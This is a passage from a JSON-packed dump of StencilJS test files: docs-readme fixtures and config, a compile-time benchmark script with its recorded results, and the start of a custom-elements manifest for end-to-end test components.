    "content": "# styleurls-component\n\nThis file is the original readme that is beside the component.\n\n<!-- Auto Generated Below -->\n\n\n## CSS Custom Properties\n\n| Name    | Description  |\n| ------- | ------------ |\n| `--one` | Property One |\n| `--two` | Property Two |\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/docs-readme/custom-readme-output-overwrite-if-missing-missing/components/styleurls-component/readme-supplemental.md",
    "content": "# styleurls-component\n\nThis file is in a custom location, set with `.dir` on the `docs-readme` OT and `overwriteExisting` set to `if-missing`.  It is a supplemental due to this test requiring the `readme` file to not exist so it will be created by the `docs-readme` output target.\n\nWhen the test is run the `readme.md` should be created.\n\nThe content of that readme should match the content of the readme beside the component.\n\nThis is a regression test for the issue reported in stenciljs/core#6248.\n\n<!-- Auto Generated Below -->\n\n\n## CSS Custom Properties\n\n| Name    | Description  |\n| ------- | ------------ |\n| `--one` | Property One |\n| `--two` | Property Two |\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/docs-readme/custom-readme-output-overwrite-if-missing-not-missing/components/styleurls-component/readme.md",
    "content": "# styleurls-component\n\nThis file is in a custom location, set with `.dir` on the `docs-readme` OT and `overwriteExisting` set to `if-missing`.\n\nThe content here above the 'auto-generation' comment _shouldn't be overwritten since this file **is not missing**_.\n\nThis is a regression test for the issue reported in stenciljs/core#6248.\n\n<!-- Auto Generated Below -->\n\n\n## CSS Custom Properties\n\n| Name    | Description  |\n| ------- | ------------ |\n| `--one` | Property One |\n| `--two` | Property Two |\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/docs-readme/custom-readme-output-overwrite-never/components/styleurls-component/readme.md",
    "content": "# styleurls-component\n\nThis file is in a custom location, set with `.dir` on the `docs-readme` OT and `overwriteExisting` set to `false`.\n\nThe content here above the 'auto-generation' comment _shouldn't be overwritten_.\n\nThis is a regression test for the issue reported in stenciljs/core#6248.\n\n<!-- Auto Generated Below -->\n\n\n## CSS Custom Properties\n\n| Name    | Description  |\n| ------- | ------------ |\n| `--one` | Property One |\n| `--two` | Property Two |\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/docs-readme/package.json",
    "content": "{\n  \"name\": \"docs-readme-testbed\",\n  \"version\": \"1.0.0\",\n  \"description\": \"A test app for the docs-readme output target\",\n  \"files\": [\n    \"dist/\"\n  ],\n  \"scripts\": {\n    \"prepare.readmes\": \"node ../../scripts/test/copy-readme.js\",\n    \"build\": \"npm run prepare.readmes && node ../../bin/stencil build\",\n    \"build.dev\": \"npm run prepare.readmes &&  node ../../bin/stencil build --dev\",\n    \"start\": \"node ../../bin/stencil build --dev --watch --serve\",\n    \"test\": \"npm run prepare.readmes &&  node ../../bin/stencil test --spec --e2e\",\n    \"test.watch\": \"npm run prepare.readmes && node ../../bin/stencil test --spec --e2e --watch\",\n    \"generate\": \"node ../../bin/stencil generate\"\n  },\n  \"license\": \"MIT\"\n}\n"
  },
  {
    "path": "test/docs-readme/readme.md",
    "content": "# docs-readme test app\n\nThis directory contains a test application which exercises the `docs-readme`\noutput target. This provides us with an end-to-end test of this functionality.\n\n## Components\n\nThe components in here and what they test!\n\n### `<styleurls-component>`\n\nThis tests that the docs from multiple `styleUrls` in the `@Component`\ndecorator are pulled in to the docs output correctly."
  },
  {
    "path": "test/docs-readme/src/components/styleurls-component/one.scss",
    "content": ":host {\n  /**\n   * @prop --one: Property One\n   */\n  display: block;\n}\n"
  },
  {
    "path": "test/docs-readme/src/components/styleurls-component/readme.md",
    "content": "# styleurls-component\n\nThis file is the original readme that is beside the component.\n\n<!-- Auto Generated Below -->\n\n\n## CSS Custom Properties\n\n| Name    | Description  |\n| ------- | ------------ |\n| `--one` | Property One |\n| `--two` | Property Two |\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/docs-readme/src/components/styleurls-component/styleurls-component.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'styleurls-component',\n  shadow: true,\n  // CSS properties documented in both of these files should\n  // show up in this component's README\n  styleUrls: {\n    one: 'one.scss',\n    two: 'two.scss',\n  },\n})\nexport class StyleUrlsComponent {\n  render() {\n    return <div>Hello, World! I have multiple style URLs!</div>;\n  }\n}\n"
  },
  {
    "path": "test/docs-readme/src/components/styleurls-component/two.scss",
    "content": ":host {\n  /**\n   * @prop --two: Property Two\n   */\n  display: block;\n}\n"
  },
  {
    "path": "test/docs-readme/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface StyleurlsComponent {\n    }\n}\ndeclare global {\n    interface HTMLStyleurlsComponentElement extends Components.StyleurlsComponent, HTMLStencilElement {\n    }\n    var HTMLStyleurlsComponentElement: {\n        prototype: HTMLStyleurlsComponentElement;\n        new (): HTMLStyleurlsComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"styleurls-component\": HTMLStyleurlsComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface StyleurlsComponent {\n    }\n    interface IntrinsicElements {\n        \"styleurls-component\": StyleurlsComponent;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"styleurls-component\": LocalJSX.IntrinsicElements[\"styleurls-component\"] & JSXBase.HTMLAttributes<HTMLStyleurlsComponentElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/docs-readme/src/index.html",
    "content": "<!DOCTYPE html>\n<html dir=\"ltr\" lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=5.0\" />\n    <title>Stencil Component Starter</title>\n\n    <script type=\"module\" src=\"/build/json-docs-testbed.esm.js\"></script>\n    <script nomodule src=\"/build/json-docs-testbed.js\"></script>\n  </head>\n  <body>\n    <my-component first=\"Stencil\" last=\"'Don't call me a framework' JS\"></my-component>\n  </body>\n</html>\n"
  },
  {
    "path": "test/docs-readme/src/index.ts",
    "content": "export * from './components';\n"
  },
  {
    "path": "test/docs-readme/stencil.config.ts",
    "content": "import { Config } from '@stencil/core';\n\nexport const config: Config = {\n  namespace: 'docs-readme-testbed',\n  outputTargets: [\n    {\n      type: 'docs-readme',\n    },\n    {\n      type: 'dist',\n    },\n    {\n      type: 'docs-readme',\n      dir: 'custom-readme-output',\n    },\n    {\n      type: 'docs-readme',\n      dir: 'custom-readme-output-overwrite',\n      overwriteExisting: true,\n    },\n    {\n      type: 'docs-readme',\n      dir: 'custom-readme-output-overwrite-if-missing-missing',\n      overwriteExisting: 'if-missing',\n    },\n    {\n      type: 'docs-readme',\n      dir: 'custom-readme-output-overwrite-if-missing-not-missing',\n      overwriteExisting: 'if-missing',\n    },\n    {\n      type: 'docs-readme',\n      dir: 'custom-readme-output-overwrite-never',\n      overwriteExisting: false,\n    },\n  ],\n};\n"
  },
  {
    "path": "test/docs-readme/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": false,\n    \"experimentalDecorators\": true,\n    \"lib\": [\n      \"dom\",\n      \"es2017\"\n    ],\n    \"moduleResolution\": \"node\",\n    \"module\": \"esnext\",\n    \"target\": \"es2017\",\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"paths\": {\n      \"@stencil/core/testing\": [\n        \"../../src/testing/index.ts\"\n      ],\n      \"@stencil/core\": [\n        \"../../internal\"\n      ],\n      \"@stencil/core/compiler\": [\n        \"../../compiler\"\n      ],\n      \"@stencil/core/internal\": [\n        \"../../internal\"\n      ]\n    }\n  },\n  \"include\": [\n    \"src\"\n  ],\n  \"exclude\": [\n    \"node_modules\"\n  ]\n\n}\n"
  },
  {
    "path": "test/end-to-end/.gitignore",
    "content": "dist-react\ndocs.json\ndocs.d.ts"
  },
  {
    "path": "test/end-to-end/benchmark-compile-time.js",
    "content": "const fs = require('fs');\nconst path = require('path');\nconst { spawnSync } = require('child_process');\n\nconst COLD_RUNS = 5;\nconst WARM_RUNS = 5;\nconst STENCIL_BIN = path.join(__dirname, '..', '..', 'bin', 'stencil');\nconst STENCIL_PKG = path.join(__dirname, '..', '..', 'package.json');\nconst CACHE_DIR = path.join(__dirname, '.stencil');\nconst RESULTS_FILE = path.join(__dirname, 'benchmark-results.json');\nconst SUMMARY_FILE = path.join(__dirname, 'benchmark-results.md');\n\nfunction getStencilVersion() {\n  const pkg = JSON.parse(fs.readFileSync(STENCIL_PKG, 'utf-8'));\n  return pkg.version;\n}\n\nfunction clearCache() {\n  if (fs.existsSync(CACHE_DIR)) {\n    fs.rmSync(CACHE_DIR, { recursive: true, force: true });\n  }\n}\n\nfunction runBuild() {\n  const start = performance.now();\n\n  const result = spawnSync('node', [STENCIL_BIN, 'build', '--config', './stencil.build.config.ts'], {\n    cwd: __dirname,\n    stdio: 'pipe',\n    encoding: 'utf-8',\n  });\n\n  const duration = performance.now() - start;\n\n  if (result.status !== 0) {\n    console.error('Build failed:', result.stderr);\n    process.exit(1);\n  }\n\n  return duration;\n}\n\nfunction calculateStats(times) {\n  const sorted = [...times].sort((a, b) => a - b);\n  const sum = times.reduce((a, b) => a + b, 0);\n  const avg = sum / times.length;\n  const variance = times.reduce((acc, t) => acc + Math.pow(t - avg, 2), 0) / times.length;\n  const stddev = Math.sqrt(variance);\n\n  return {\n    runs: times,\n    min: sorted[0],\n    max: sorted[sorted.length - 1],\n    avg,\n    stddev,\n    median: sorted[Math.floor(sorted.length / 2)],\n  };\n}\n\nfunction formatMs(ms) {\n  return `${(ms / 1000).toFixed(2)}s`;\n}\n\nfunction printStats(label, stats) {\n  console.log(`\\n${label}:`);\n  console.log(`  Runs:   ${stats.runs.map(formatMs).join(', ')}`);\n  console.log(`  Min:    ${formatMs(stats.min)}`);\n  console.log(`  Max:    ${formatMs(stats.max)}`);\n  console.log(`  Avg:    ${formatMs(stats.avg)}`);\n  console.log(`  Median: ${formatMs(stats.median)}`);\n  console.log(`  StdDev: ${formatMs(stats.stddev)}`);\n}\n\nfunction generateMarkdown(results, history) {\n  const { cold, warm } = results;\n\n  const fmtValue = (ms) => formatMs(ms).padStart(8);\n\n  let md = `# Stencil Compile Time Benchmark\n\n**Last Run:** ${results.timestamp}\n**Stencil:** ${results.stencilVersion} | **Node:** ${results.nodeVersion} | **Platform:** ${results.platform} (${results.arch})\n\n## Latest Results\n\n### Cold Builds (no cache)\n\n| Metric   |    Value |\n|----------|----------|\n| Min      | ${fmtValue(cold.min)} |\n| Max      | ${fmtValue(cold.max)} |\n| **Avg**  | **${formatMs(cold.avg)}** |\n| Median   | ${fmtValue(cold.median)} |\n| StdDev   | ${fmtValue(cold.stddev)} |\n\n### Warm Builds (with cache)\n\n| Metric   |    Value |\n|----------|----------|\n| Min      | ${fmtValue(warm.min)} |\n| Max      | ${fmtValue(warm.max)} |\n| **Avg**  | **${formatMs(warm.avg)}** |\n| Median   | ${fmtValue(warm.median)} |\n| StdDev   | ${fmtValue(warm.stddev)} |\n\n## History\n\n| Date       | Stencil  | Cold Avg | Warm Avg | Node     |\n|------------|----------|----------|----------|----------|\n`;\n\n  // Add history rows (most recent first, limit to 10)\n  const recentHistory = [...history].reverse().slice(0, 10);\n  for (const entry of recentHistory) {\n    const date = new Date(entry.timestamp).toLocaleDateString().padEnd(10);\n    const stencil = (entry.stencilVersion || '-').padEnd(8);\n    const coldAvg = formatMs(entry.cold.avg).padStart(8);\n    const warmAvg = formatMs(entry.warm.avg).padStart(8);\n    const node = entry.nodeVersion.padEnd(8);\n    md += `| ${date} | ${stencil} | ${coldAvg} | ${warmAvg} | ${node} |\\n`;\n  }\n\n  return md;\n}\n\nasync function main() {\n  console.log('Stencil Compilation Time Benchmark');\n  console.log('===================================');\n  console.log(`Cold runs: ${COLD_RUNS}, Warm runs: ${WARM_RUNS}`);\n\n  // Cold builds (no cache)\n  console.log('\\nRunning cold builds (no cache)...');\n  const coldTimes = [];\n  for (let i = 0; i < COLD_RUNS; i++) {\n    clearCache();\n    process.stdout.write(`  Run ${i + 1}/${COLD_RUNS}... `);\n    const duration = runBuild();\n    coldTimes.push(duration);\n    console.log(formatMs(duration));\n  }\n\n  // Warm builds (with cache)\n  console.log('\\nRunning warm builds (with cache)...');\n  clearCache(); // Start fresh, then keep cache\n\n  // Do one build to warm the cache\n  console.log('  Warming cache...');\n  runBuild();\n\n  const warmTimes = [];\n  for (let i = 0; i < WARM_RUNS; i++) {\n    process.stdout.write(`  Run ${i + 1}/${WARM_RUNS}... `);\n    const duration = runBuild();\n    warmTimes.push(duration);\n    console.log(formatMs(duration));\n  }\n\n  // Calculate stats\n  const coldStats = calculateStats(coldTimes);\n  const warmStats = calculateStats(warmTimes);\n\n  // Print results\n  printStats('Cold Build Stats', coldStats);\n  printStats('Warm Build Stats', warmStats);\n\n  // Save results\n  const results = {\n    timestamp: new Date().toISOString(),\n    stencilVersion: getStencilVersion(),\n    nodeVersion: process.version,\n    platform: process.platform,\n    arch: process.arch,\n    cold: coldStats,\n    warm: warmStats,\n  };\n\n  // Load existing results if present\n  let history = [];\n  if (fs.existsSync(RESULTS_FILE)) {\n    try {\n      const existing = JSON.parse(fs.readFileSync(RESULTS_FILE, 'utf-8'));\n      history = existing.history || [];\n    } catch (e) {\n      // Ignore parse errors, start fresh\n    }\n  }\n\n  history.push(results);\n\n  // Save JSON\n  fs.writeFileSync(RESULTS_FILE, JSON.stringify({ latest: results, history }, null, 2));\n\n  // Save Markdown summary\n  fs.writeFileSync(SUMMARY_FILE, generateMarkdown(results, history));\n\n  console.log(`\\nResults saved to:`);\n  console.log(`  ${RESULTS_FILE}`);\n  console.log(`  ${SUMMARY_FILE}`);\n}\n\nmain().catch((err) => {\n  console.error(err);\n  process.exit(1);\n});\n"
  },
  {
    "path": "test/end-to-end/benchmark-results.json",
    "content": "{\n  \"latest\": {\n    \"timestamp\": \"2026-02-07T12:56:49.436Z\",\n    \"stencilVersion\": \"4.42.1\",\n    \"nodeVersion\": \"v22.2.0\",\n    \"platform\": \"darwin\",\n    \"arch\": \"x64\",\n    \"cold\": {\n      \"runs\": [\n        41070.203315000006,\n        40466.788155999995,\n        36355.54683200001,\n        36107.316288,\n        36471.71495299999\n      ],\n      \"min\": 36107.316288,\n      \"max\": 41070.203315000006,\n      \"avg\": 38094.3139088,\n      \"stddev\": 2194.9418978803214,\n      \"median\": 36471.71495299999\n    },\n    \"warm\": {\n      \"runs\": [\n        24409.04587500001,\n        23895.561968000024,\n        24854.688289999962,\n        24717.536471,\n        24724.432998000004\n      ],\n      \"min\": 23895.561968000024,\n      \"max\": 24854.688289999962,\n      \"avg\": 24520.2531204,\n      \"stddev\": 344.9820612212566,\n      \"median\": 24717.536471\n    }\n  },\n  \"history\": [\n    {\n      \"timestamp\": \"2026-02-06T23:01:42.644Z\",\n      \"nodeVersion\": \"v22.2.0\",\n      \"platform\": \"darwin\",\n      \"arch\": \"x64\",\n      \"cold\": {\n        \"runs\": [\n          34351.170047,\n          33631.484595,\n          33792.84220999999,\n          33212.284922000006,\n          36396.31289599999\n        ],\n        \"min\": 33212.284922000006,\n        \"max\": 36396.31289599999,\n        \"avg\": 34276.818933999995,\n        \"stddev\": 1120.866208263047,\n        \"median\": 33792.84220999999\n      },\n      \"warm\": {\n        \"runs\": [\n          25229.430728999985,\n          24570.14856,\n          24362.824242000002,\n          25592.336630999984,\n          24989.860770999978\n        ],\n        \"min\": 24362.824242000002,\n        \"max\": 25592.336630999984,\n        \"avg\": 24948.92018659999,\n        \"stddev\": 443.0177012640996,\n        \"median\": 24989.860770999978\n      }\n    },\n    {\n      \"timestamp\": \"2026-02-07T12:56:49.436Z\",\n      \"stencilVersion\": \"4.42.1\",\n      \"nodeVersion\": \"v22.2.0\",\n      \"platform\": \"darwin\",\n      \"arch\": \"x64\",\n      \"cold\": {\n        \"runs\": [\n          41070.203315000006,\n          40466.788155999995,\n          36355.54683200001,\n          36107.316288,\n          36471.71495299999\n        ],\n        \"min\": 36107.316288,\n        \"max\": 41070.203315000006,\n        \"avg\": 38094.3139088,\n        \"stddev\": 2194.9418978803214,\n        \"median\": 36471.71495299999\n      },\n      \"warm\": {\n        \"runs\": [\n          24409.04587500001,\n          23895.561968000024,\n          24854.688289999962,\n          24717.536471,\n          24724.432998000004\n        ],\n        \"min\": 23895.561968000024,\n        \"max\": 24854.688289999962,\n        \"avg\": 24520.2531204,\n        \"stddev\": 344.9820612212566,\n        \"median\": 24717.536471\n      }\n    }\n  ]\n}"
  },
  {
    "path": "test/end-to-end/benchmark-results.md",
    "content": "# Stencil Compile Time Benchmark\n\n**Last Run:** 2026-02-07T12:56:49.436Z\n**Stencil:** 4.42.1 | **Node:** v22.2.0 | **Platform:** darwin (x64)\n\n## Latest Results\n\n### Cold Builds (no cache)\n\n| Metric   |    Value |\n|----------|----------|\n| Min      |   36.11s |\n| Max      |   41.07s |\n| **Avg**  | **38.09s** |\n| Median   |   36.47s |\n| StdDev   |    2.19s |\n\n### Warm Builds (with cache)\n\n| Metric   |    Value |\n|----------|----------|\n| Min      |   23.90s |\n| Max      |   24.85s |\n| **Avg**  | **24.52s** |\n| Median   |   24.72s |\n| StdDev   |    0.34s |\n\n## History\n\n| Date       | Stencil  | Cold Avg | Warm Avg | Node     |\n|------------|----------|----------|----------|----------|\n| 2/7/2026   | 4.42.1   |   38.09s |   24.52s | v22.2.0  |\n| 2/6/2026   | -        |   34.28s |   24.95s | v22.2.0  |\n"
  },
  {
    "path": "test/end-to-end/custom-elements-manifest.json",
    "content": "{\n  \"schemaVersion\": \"2.1.0\",\n  \"modules\": [\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/declarative-shadow-dom/another-car-detail.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"another-car-detail\",\n          \"name\": \"AnotherCarDetail\",\n          \"attributes\": [\n            {\n              \"name\": \"car\",\n              \"type\": {\n                \"text\": \"CarData\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"../car-list/car-data\"\n                  }\n                ]\n              },\n              \"fieldName\": \"car\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"car\",\n              \"type\": {\n                \"text\": \"CarData\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"../car-list/car-data\"\n                  }\n                ]\n              },\n              \"readonly\": true,\n              \"attribute\": \"car\"\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"AnotherCarDetail\",\n          \"declaration\": {\n            \"name\": \"AnotherCarDetail\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"another-car-detail\",\n          \"declaration\": {\n            \"name\": \"AnotherCarDetail\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/declarative-shadow-dom/another-car-list.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"another-car-list\",\n          \"name\": \"AnotherCarList\",\n          \"description\": \"Component that helps display a list of cars\",\n          \"attributes\": [\n            {\n              \"name\": \"cars\",\n              \"type\": {\n                \"text\": \"CarData[]\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"../car-list/car-data\"\n                  }\n                ]\n              },\n              \"fieldName\": \"cars\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"cars\",\n              \"type\": {\n                \"text\": \"CarData[]\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"../car-list/car-data\"\n                  }\n                ]\n              },\n              \"readonly\": true,\n              \"attribute\": \"cars\"\n            },\n            {\n              \"kind\": \"field\",\n              \"name\": \"selected\",\n              \"type\": {\n                \"text\": \"CarData\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"../car-list/car-data\"\n                  }\n                ]\n              }\n            }\n          ],\n          \"events\": [\n            {\n              \"name\": \"carSelected\",\n              \"type\": {\n                \"text\": \"CustomEvent<CarData>\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"../car-list/car-data\"\n                  }\n                ]\n              }\n            }\n          ],\n          \"slots\": [\n            {\n              \"name\": \"header\",\n              \"description\": \"The slot for the header content.\"\n            }\n          ],\n          \"cssParts\": [\n            {\n              \"name\": \"car\",\n              \"description\": \"The shadow part to target to style the car.\"\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"AnotherCarList\",\n          \"declaration\": {\n            \"name\": \"AnotherCarList\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"another-car-list\",\n          \"declaration\": {\n            \"name\": \"AnotherCarList\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/app-root/app-root.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"app-root\",\n          \"name\": \"AppRoot\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"AppRoot\",\n          \"declaration\": {\n            \"name\": \"AppRoot\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"app-root\",\n          \"declaration\": {\n            \"name\": \"AppRoot\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/build-data/build-data.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"build-data\",\n          \"name\": \"BuildData\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"BuildData\",\n          \"declaration\": {\n            \"name\": \"BuildData\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"build-data\",\n          \"declaration\": {\n            \"name\": \"BuildData\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/car-detail/car-detail.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"car-detail\",\n          \"name\": \"CarDetail\",\n          \"attributes\": [\n            {\n              \"name\": \"car\",\n              \"type\": {\n                \"text\": \"CarData\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"../car-list/car-data\"\n                  }\n                ]\n              },\n              \"fieldName\": \"car\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"car\",\n              \"type\": {\n                \"text\": \"CarData\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"../car-list/car-data\"\n                  }\n                ]\n              },\n              \"readonly\": true,\n              \"attribute\": \"car\"\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"CarDetail\",\n          \"declaration\": {\n            \"name\": \"CarDetail\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"car-detail\",\n          \"declaration\": {\n            \"name\": \"CarDetail\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/car-list/car-list.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"car-list\",\n          \"name\": \"CarList\",\n          \"description\": \"Component that helps display a list of cars\",\n          \"attributes\": [\n            {\n              \"name\": \"cars\",\n              \"type\": {\n                \"text\": \"CarData[]\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"./car-data\"\n                  }\n                ]\n              },\n              \"fieldName\": \"cars\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"cars\",\n              \"type\": {\n                \"text\": \"CarData[]\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"./car-data\"\n                  }\n                ]\n              },\n              \"readonly\": true,\n              \"attribute\": \"cars\"\n            },\n            {\n              \"kind\": \"field\",\n              \"name\": \"selected\",\n              \"type\": {\n                \"text\": \"CarData\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"./car-data\"\n                  }\n                ]\n              }\n            }\n          ],\n          \"events\": [\n            {\n              \"name\": \"carSelected\",\n              \"type\": {\n                \"text\": \"CustomEvent<CarData>\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"./car-data\"\n                  }\n                ]\n              }\n            }\n          ],\n          \"slots\": [\n            {\n              \"name\": \"header\",\n              \"description\": \"The slot for the header content.\"\n            }\n          ],\n          \"cssParts\": [\n            {\n              \"name\": \"car\",\n              \"description\": \"The shadow part to target to style the car.\"\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"CarList\",\n          \"declaration\": {\n            \"name\": \"CarList\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"car-list\",\n          \"declaration\": {\n            \"name\": \"CarList\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/deep-selector/cmpA.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"cmp-a\",\n          \"name\": \"CmpA\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"CmpA\",\n          \"declaration\": {\n            \"name\": \"CmpA\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"cmp-a\",\n          \"declaration\": {\n            \"name\": \"CmpA\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/deep-selector/cmpB.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"cmp-b\",\n          \"name\": \"CmpB\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"CmpB\",\n          \"declaration\": {\n            \"name\": \"CmpB\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"cmp-b\",\n          \"declaration\": {\n            \"name\": \"CmpB\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/deep-selector/cmpC.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"cmp-c\",\n          \"name\": \"CmpC\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"CmpC\",\n          \"declaration\": {\n            \"name\": \"CmpC\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"cmp-c\",\n          \"declaration\": {\n            \"name\": \"CmpC\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/declarative-shadow-dom/cmp-dsd.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"cmp-dsd\",\n          \"name\": \"CmpDsd\",\n          \"attributes\": [\n            {\n              \"name\": \"initial-counter\",\n              \"type\": {\n                \"text\": \"number\"\n              },\n              \"default\": \"0\",\n              \"fieldName\": \"initialCounter\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"initialCounter\",\n              \"type\": {\n                \"text\": \"number\"\n              },\n              \"default\": \"0\",\n              \"readonly\": true,\n              \"attribute\": \"initial-counter\"\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"CmpDsd\",\n          \"declaration\": {\n            \"name\": \"CmpDsd\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"cmp-dsd\",\n          \"declaration\": {\n            \"name\": \"CmpDsd\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/declarative-shadow-dom/cmp-dsd-focus.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"cmp-dsd-focus\",\n          \"name\": \"CmpDsdFocus\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"CmpDsdFocus\",\n          \"declaration\": {\n            \"name\": \"CmpDsdFocus\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"cmp-dsd-focus\",\n          \"declaration\": {\n            \"name\": \"CmpDsdFocus\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/declarative-shadow-dom/server-vs-client.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"cmp-server-vs-client\",\n          \"name\": \"CmpServerVsClient\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"CmpServerVsClient\",\n          \"declaration\": {\n            \"name\": 